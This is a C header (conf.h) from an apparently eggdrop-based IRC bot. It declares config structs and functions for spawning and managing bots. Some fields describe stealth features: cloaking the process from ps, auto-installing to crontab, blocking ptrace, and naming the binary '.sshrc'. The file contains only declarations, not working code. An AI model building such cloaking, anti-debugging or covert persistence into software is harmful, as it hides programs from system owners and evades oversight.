conf.h 2.0 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071
  1. #ifndef _CONF_H
  2. #define _CONF_H
  3. #include <sys/types.h>
  4. #include <stdio.h>
  5. #include "types.h"
  6. #include "eggdrop.h"
  7. #include "settings.h"
  8. typedef struct conf_bot_b {
  9. struct conf_bot_b *next;
  10. struct userrec *u; /* our own user record */
  11. pid_t pid; /* contains the PID for the bot (read for the pidfile) */
  12. #ifdef LEAF
  13. int localhub; /* bot is localhub */
  14. #endif /* LEAF */
  15. char *nick;
  16. char *host;
  17. char *host6;
  18. char *ip;
  19. char *ip6;
  20. char *pid_file; /* path and filename of the .pid file */
  21. } conf_bot;
  22. typedef struct conf_b {
  23. conf_bot *bots; /* the list of bots */
  24. conf_bot *bot; /* single bot (me) */
  25. uid_t uid;
  26. int autouname; /* should we just auto update any changed in uname output? */
  27. int pscloak; /* should the bots bother trying to cloak `ps`? */
  28. int autocron; /* should the bot auto crontab itself? */
  29. int watcher; /* spawn a watcher pid to block ptrace? */
  30. char *comments; /* we dont want to lose our comments now do we?! */
  31. char *localhub; /* my localhub */
  32. char *uname;
  33. char *username; /* shell username */
  34. char *homedir; /* homedir */
  35. char *binpath; /* path to binary, ie: ~/ */
  36. char *binname; /* binary name, ie: .sshrc */
  37. port_t portmin; /* for hubs, the reserved port range for incoming connections */
  38. port_t portmax; /* for hubs, the reserved port range for incoming connections */
  39. } conf_t;
  40. extern conf_t conf, conffile;
  41. enum {
  42. CONF_ENC = 1,
  43. CONF_COMMENT = 2
  44. };
  45. #ifdef LEAF
  46. void spawnbots();
  47. int killbot(char *);
  48. #endif /* LEAF */
  49. void confedit() __attribute__((noreturn));
  50. #ifdef LEAF
  51. void conf_addbot(char *, char *, char *, char *);
  52. int conf_delbot(char *);
  53. #endif /* LEAF */
  54. pid_t checkpid(char *, conf_bot *);
  55. void init_conf();
  56. void free_conf();
  57. int readconf(char *, int);
  58. int parseconf();
  59. int writeconf(char *, FILE *, int);
  60. void fillconf(conf_t *);
  61. void bin_to_conf(void);
  62. extern char cfile[DIRMAX];
  63. #endif /* !_CONF_H */